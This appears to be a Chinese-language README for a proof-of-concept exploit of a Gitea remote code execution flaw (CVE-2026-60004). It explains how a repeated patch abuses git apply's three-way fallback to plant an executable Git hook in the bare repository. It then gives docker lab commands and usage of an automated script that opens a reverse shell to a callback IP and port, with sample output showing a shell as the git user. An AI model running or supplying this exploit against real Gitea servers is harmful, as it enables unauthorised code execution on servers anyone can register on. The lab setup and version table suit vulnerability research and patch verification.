★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b
CVE-2026-60004 是 Gitea 中的一个 远程代码执行(RCE) 漏洞。
diffpatchAPI 使用git apply --cached应用提供的补丁,该命令本应只操作索引,绝不将文件写入磁盘。 通过发送两次相同的补丁,攻击者强制触发 add/add 冲突,从而激活 Git 的三方合并回退(-3)。该路径会忽略--cached,并将文件检出到工作树。 由于临时克隆是裸仓库,其工作树根目录就是$GIT_DIR。因此,一个创建可执行文件hooks/post-index-change的补丁会落地一个活跃的 Git 钩子,Git 会在下一次索引更新时自动运行它——以 Gitea 服务账户身份执行命令。 该端点需要仓库写入权限,但注册默认启用,因此任何能够注册并创建仓库的用户都可以访问它。
| 类别 | 版本 |
|---|---|
| 受影响 | Gitea 1.17 ≤ 版本 ≤ 1.27.0 |
| 已修复 | Gitea 1.27.1 或更高版本 |
git)身份远程执行代码构建并运行存在漏洞的 Gitea 环境。注册保持开放,服务器自带 Git 2.32+,该版本启用了攻击所依赖的 -3 回退。
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
| 前提条件 | 本实验环境中的状态 |
|---|---|
| Gitea 1.17 – 1.27.0 | 1.27.0 |
服务器上的 Git 2.32+(启用 -3) | 2.54 |
| 开放注册 | 已启用(默认) |
| 仓库写入权限 | 通过自行注册的账户获得 |
该漏洞利用由 gitea_exploit.py 完全自动化。给定一个可以创建仓库的账户,它会创建目标仓库,反复提交相同的补丁直到 Git 的 -3 回退触发,并通过内置监听器捕获反向 shell——无需手动设置、构造补丁或计算 blob 哈希。
# python3 gitea_exploit.py <target ip:port> <callback ip> [callback port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
--user test --pw 11111111 --repo rce
-3 回退仅在特定的时间窗口内触发,因此脚本会循环执行 创建 → 发送 → 发送,直到捕获成功(默认 25 次尝试)。当某次发送阻塞时,说明钩子已触发,监听器会将你带入一个以 git 身份运行的 shell:
[*] attempt 3/25 -> send#1 201, send#2 timeout <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)
选项:
--no-listen — 使用你自己的外部 nc 捕获 shell,而不是内置监听器--user / --pw / --repo / --branch — 覆盖默认账户和目标仓库DISABLE_REGISTRATION=true)